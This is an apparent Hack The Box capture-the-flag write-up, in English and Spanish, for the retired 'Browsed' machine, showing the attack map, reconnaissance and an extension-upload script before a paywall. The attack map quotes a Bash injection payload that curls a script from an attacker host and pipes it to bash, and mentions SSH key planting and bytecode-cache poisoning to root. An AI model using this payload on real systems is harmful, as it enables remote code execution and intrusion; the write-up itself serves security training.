Browsed
Executive summary -- Browsed chains a portal that runs third-party Chrome extensions in a real browser (
--no-sandbox) with a leaked console.log that reveals an internal vhost (browsedinternals.htb, a public Gitea leaking the source of a second Flask service). From there, a Bash arithmetic-evaluation injection fired via SSRF from the extension's service worker gives RCE aslarry, and a Python bytecode-cache poisoning (a world-writable__pycache__) finishes the job as root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Medium |
| Status | Retired |
| Target IP | 10.129.244.79 |
Attack map
[80] browsed.htb -- Chrome extension upload portal (ZIP)
| the server runs them in a real Chrome, --no-sandbox,
| and echoes its console.log via upload.php?output=1
v
[JS] content script -- location.href leaks the vhost
| browsedinternals.htb (not in any wordlist)
v
[80] browsedinternals.htb -- Gitea 1.24.5, public
| leaks larry/MarkdownPreview: Flask on 127.0.0.1:5000,
| /routines/<rid> -> [[ "$1" -eq N ]] (bash arithmetic)
v
[SSRF] service worker + host_permissions
| (the content script is blocked by Private Network Access)
v
[RCE] a[$(curl${IFS}<ATTACKER_IP>:8000|bash)] -- no slashes
| the served script plants an SSH key
v
[SSH] larry (user.txt)
| sudo NOPASSWD /opt/extensiontool/extension_tool.py
| imports extension_utils from __pycache__ (777, empty)
v
[ROOT] PYC poisoning (cloned PEP 552 header) -> SUID bash -> root.txt
How to read this page -- This box moves across four distinct execution contexts, and mixing them up is the fastest way to get lost:
kali(our own machine),the server's Chrome(the browser running the uploaded extension),larry@browsedandroot@browsed. Every command block states its context.
1. Reconnaissance
1.1 Ports and services
sudo nmap -p- --min-rate 5000 -T4 -Pn -oN nmap_allports.txt 10.129.244.79
sudo nmap -p22,80 -sCV -Pn -oN nmap_services.txt 10.129.244.79
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Minimal surface: SSH and an nginx. Everything goes through port 80.
echo "10.129.244.79 browsed.htb" | sudo tee -a /etc/hosts
1.2 The application
The landing page spells out the business model in two paragraphs, quoted verbatim:
"People can share their chrome version 134 based extension with us, and we'll try them out for some time!" -- "Don't hesitate to send your samples, the team will use it for daily use and report afterwards their thoughts on it. [...] upload your chrome extension, in zip format. Make sure your files are directly inside the archive, and not in a folder!"
Translated into attack terms: we upload code that will run in someone else's browser. A pure supply-chain problem. Three constraints worth noting: ZIP, files at the root of the archive, and Chrome 134 → Manifest V3.
1.3 The sample extensions
curl -s http://browsed.htb/samples.html | grep -oE 'href="[^"]*\.zip"'
for f in fontify replaceimages timer; do wget -q http://browsed.htb/$f.zip; done
mkdir -p samples
for f in fontify replaceimages timer; do mkdir -p samples/$f && unzip -oq $f.zip -d samples/$f; done
cat samples/fontify/manifest.json
{
"manifest_version": 3,
"name": "Font Switcher",
"version": "2.0.0",
"permissions": ["storage", "scripting"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}
]
}
The attack template --
"matches": ["<all_urls>"]injects the content script into any page the browser visits, automatically and without user interaction. Our malicious extension will be this same template, with a differentcontent.js.
Fun detail: replaceimages/content.js points at an image called why-is-larry-so-evil -- first hint of a system username.
1.4 Reverse-engineering the portal
The upload page promises an "Output (takes ~10s)" panel with a copy button: the server gives us something back. That's worth gold -- we won't be working blind. But automating the upload with curl has two traps.
Trap 1 -- the Content-Type. A first direct attempt fails:
curl -s -i -X POST http://browsed.htb/upload.php -F "extension=@ext.zip"
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=eo3igf02qhbsepuqpket9gaoda; path=/
Location: upload.php
# following the redirect with cookies:
Invalid file type or size.
Why it fails -- The server validates
$file['type'] === 'application/zip', i.e. the multipart part's Content-Type, not the file's real content.curl -F "extension=@ext.zip"sendsapplication/octet-streamby default and gets rejected. It has to be forced:
curl -F "extension=@ext.zip;type=application/zip"
From a real browser this never shows up, because Chrome already sends the correct type. It's a trip-up exclusive to whoever automates with curl.
Trap 2 -- where the output lives. The POST answers with a bodyless 302. The page's own JS reveals the rest:
function pollOutput() {
fetch('upload.php?output=1')
.then(r => r.text())
.then(txt => { ... });
}
window.onload = function() { pollOutput(); }
The result is stored in the PHP session and retrieved with a separate GET. With that, the full working loop comes together:
#!/bin/bash
# Packs ./ext (files at the ROOT of the zip), uploads it, and fetches the output
cd "$(dirname "$0")"
rm -f ext.zip
(cd ext && zip -qr ../ext.zip .)
rm -f ck.txt
curl -s -m 180 -c ck.txt -b ck.txt -X POST http://browsed.htb/upload.php \
-F "extension=@ext.zip;type=application/zip" -o /dev/null
sleep "${1:-14}"
echo "----- OUTPUT -----"
curl -s -m 60 -b ck.txt "http://browsed.htb/upload.php?output=1"
Spending five minutes on this script saves half an hour later: from here on, every exploit iteration is ./pack_upload.sh and reading the output.
Resumen ejecutivo -- Browsed encadena un portal que ejecuta extensiones de Chrome de terceros en un navegador real (
--no-sandbox) con una fuga de console.log que revela un vhost interno (browsedinternals.htb, un Gitea publico que filtra el codigo de un segundo servicio Flask). Desde ahi, una inyeccion de aritmetica en Bash lanzada via SSRF desde el service worker de la extension da RCE comolarry, y un envenenamiento de la cache de bytecode de Python (__pycache__escribible por cualquiera) culmina en root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Medium |
| Estado | Retired |
| IP objetivo | 10.129.244.79 |
Mapa del ataque
[80] browsed.htb -- portal de subida de extensiones Chrome (ZIP)
| el servidor las ejecuta en un Chrome real, --no-sandbox,
| y devuelve su console.log via upload.php?output=1
v
[JS] content script -- location.href revela el vhost
| browsedinternals.htb (fuera de cualquier wordlist)
v
[80] browsedinternals.htb -- Gitea 1.24.5, publico
| filtra larry/MarkdownPreview: Flask en 127.0.0.1:5000,
| /routines/<rid> -> [[ "$1" -eq N ]] (bash arithmetic)
v
[SSRF] service worker + host_permissions
| (el content script lo bloquea Private Network Access)
v
[RCE] a[$(curl${IFS}<ATTACKER_IP>:8000|bash)] -- sin barras
| el script servido planta una clave SSH
v
[SSH] larry (user.txt)
| sudo NOPASSWD /opt/extensiontool/extension_tool.py
| importa extension_utils desde __pycache__ (777, vacio)
v
[ROOT] PYC poisoning (cabecera PEP 552 clonada) -> bash SUID -> root.txt
Como leer esta pagina -- Esta maquina se mueve entre cuatro contextos de ejecucion distintos, y confundirlos es la forma mas rapida de perderse:
kali(nuestra maquina),chrome del servidor(el navegador que ejecuta la extension subida),larry@browsedyroot@browsed. Cada bloque de comandos indica su contexto.
1. Reconocimiento
1.1 Puertos y servicios
sudo nmap -p- --min-rate 5000 -T4 -Pn -oN nmap_allports.txt 10.129.244.79
sudo nmap -p22,80 -sCV -Pn -oN nmap_services.txt 10.129.244.79
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Superficie minima: SSH y un nginx. Todo pasa por el puerto 80.
echo "10.129.244.79 browsed.htb" | sudo tee -a /etc/hosts
1.2 La aplicacion
La portada del sitio deja claro el modelo de negocio en dos parrafos, citados aqui tal cual:
"People can share their chrome version 134 based extension with us, and we'll try them out for some time!" -- "Don't hesitate to send your samples, the team will use it for daily use and report afterwards their thoughts on it. [...] upload your chrome extension, in zip format. Make sure your files are directly inside the archive, and not in a folder!"
Traducido a terminos de ataque: subimos codigo que se ejecutara en el navegador de otra persona. Es un problema de cadena de suministro puro. Tres restricciones a anotar: ZIP, ficheros en la raiz del archivo, y Chrome 134 → Manifest V3.
1.3 Las extensiones de ejemplo
curl -s http://browsed.htb/samples.html | grep -oE 'href="[^"]*\.zip"'
for f in fontify replaceimages timer; do wget -q http://browsed.htb/$f.zip; done
mkdir -p samples
for f in fontify replaceimages timer; do mkdir -p samples/$f && unzip -oq $f.zip -d samples/$f; done
cat samples/fontify/manifest.json
{
"manifest_version": 3,
"name": "Font Switcher",
"version": "2.0.0",
"permissions": ["storage", "scripting"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}
]
}
La plantilla del ataque --
"matches": ["<all_urls>"]inyecta el content script en cualquier pagina que visite el navegador, automaticamente y sin interaccion del usuario. Nuestra extension maliciosa va a ser esta misma plantilla, con otrocontent.js.
Detalle curioso: replaceimages/content.js apunta a una imagen llamada why-is-larry-so-evil -- primer indicio de un nombre de usuario del sistema.
1.4 Ingenieria inversa del portal
La pagina de subida promete un "Output (takes ~10s)" con boton de copiar: el servidor nos devuelve algo. Eso vale oro -- no vamos a trabajar a ciegas. Pero automatizar la subida con curl tiene dos trampas.
Trampa 1 -- el Content-Type. Un primer intento directo falla:
curl -s -i -X POST http://browsed.htb/upload.php -F "extension=@ext.zip"
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=eo3igf02qhbsepuqpket9gaoda; path=/
Location: upload.php
# siguiendo la redireccion con las cookies:
Invalid file type or size.
Por que falla -- El servidor valida
$file['type'] === 'application/zip', es decir, el Content-Type de la parte multipart, no el contenido real del fichero.curl -F "extension=@ext.zip"enviaapplication/octet-streampor defecto y es rechazado. Hay que forzarlo:
curl -F "extension=@ext.zip;type=application/zip"
Desde el navegador esto no se nota porque Chrome ya manda el tipo correcto. Es un tropiezo exclusivo de quien automatiza con curl.
Trampa 2 -- donde esta el output. El POST responde 302 sin cuerpo. El JS de la propia pagina revela el resto:
function pollOutput() {
fetch('upload.php?output=1')
.then(r => r.text())
.then(txt => { ... });
}
window.onload = function() { pollOutput(); }
El resultado se guarda en la sesion PHP y se recupera con un GET aparte. Con eso se monta el ciclo de trabajo completo:
#!/bin/bash
# Empaqueta ./ext (ficheros en la RAIZ del zip), lo sube y recoge el output
cd "$(dirname "$0")"
rm -f ext.zip
(cd ext && zip -qr ../ext.zip .)
rm -f ck.txt
curl -s -m 180 -c ck.txt -b ck.txt -X POST http://browsed.htb/upload.php \
-F "extension=@ext.zip;type=application/zip" -o /dev/null
sleep "${1:-14}"
echo "----- OUTPUT -----"
curl -s -m 60 -b ck.txt "http://browsed.htb/upload.php?output=1"
Invertir cinco minutos en este script ahorra media hora despues: a partir de aqui, cada iteracion del exploit es ./pack_upload.sh y a leer la salida.
This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.
See Root Access plansNo account? Create one free then upgrade from your console.
Este contenido es solo para Root Access. Todo lo demás del sitio — el nivel gratuito, toda la biblioteca pública — sigue abierto.
Ver planes de Root Access¿Sin cuenta? Crea una gratis y luego mejora desde tu consola.